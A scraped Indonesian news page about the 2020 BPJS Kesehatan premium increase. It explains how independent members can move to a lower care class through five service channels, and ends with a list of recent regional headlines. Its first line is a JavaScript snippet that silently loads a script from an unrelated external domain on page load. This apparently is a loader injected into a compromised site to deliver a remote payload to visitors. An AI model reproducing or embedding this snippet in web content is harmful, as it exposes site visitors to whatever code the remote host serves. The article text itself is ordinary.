(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Berat Bayar Kenaikan Iuran BPJS yang Naik Per Hari Ini? Begini Cara Turun Kelas


JAKARTA, Pemerintah resmi memberlakukan kenaikan iuran BPJS Kesehatan hingga 100 persen bagi peserta mandiri mulai 1 Januari 2020 ini. Dengan keputusan tersebut, iuran peserta kelas mandiri I naik dari Rp80 ribu menjadi Rp160 ribu per peserta per bulan.

Kemudian, peserta kelas mandiri II, iuran naik dari Rp51 ribu menjadi Rp110 ribu per peserta per bulan dan kelas mandiri III dari Rp25.500 menjadi Rp42 ribu per peserta per bulan.

Jika peserta merasa beban iuran yang harus dibayar karena kenaikan tersebut terlalu berat, mereka bisa mengajukan permohonan penurunan kelas ke BPJS Kesehatan. Caranya?

Berdasarkan buku Panduan Layanan BPJS Kesehatan disebutkan, perubahan kelas rawat peserta mandiri dapat dilakukan setelah 1 tahun menjadi peserta. Perubahan kelas harus diikuti perubahan kelas rawat seluruh anggota keluarga yang tercantum dalam kartu keluarga.

Selain itu, peserta yang melakukan perubahan kelas perawatan pada bulan berjalan, maka kelas perawatan barunya berlaku pada bulan selanjutnya. Bagi yang ingin mengubah kelas rawat, BPJS Kesehatan menyediakan lima kanal layanan.

Pertama, Aplikasi Mobile JKN. Peserta membuka Aplikasi Mobile JKN dan klik menu ubah data peserta lalu masukkan data perubahan.

Kedua, BPJS Kesehatan Care Center 1500 400. Peserta menghubungi Care Center dan menyampaikan perubahan data peserta dimaksud.

Ketiga, Mobile Customer Service (MCS). Peserta mengunjungi Mobile Customer Service (MCS) pada hari dan jam yang telah ditentukan. Setelah itu, mengisi Formulir Daftar Isian Peserta (FDIP) dan menunggu antrian untuk mendapatkan pelayanan.

Keempat, Mall Pelayanan Publik. Peserta mengunjungi Mall Pelayanan Publik, mengisi FDIP dan menunggu antrian untuk mendapatkan pelayanan.

Kelima, peserta bisa ke Kantor Cabang dan Kantor Kabupaten/Kota BPJS Kesehatan terdekat. Peserta mengunjungi kantor, mengisi FDIP, mengambil nomor antrian pelayanan loket perubahan data dan menunggu antrian. Langkah-langkah yang disebutkan di atas dapat digunakan jika peserta mandiri ingin mengubah kelas rawat di tengah kenaikan iuran BPJS Kesehatan. (agt)

 

Editor : Cell

 


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

10 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

10 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

11 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

11 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

11 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

15 jam ago

This website uses cookies.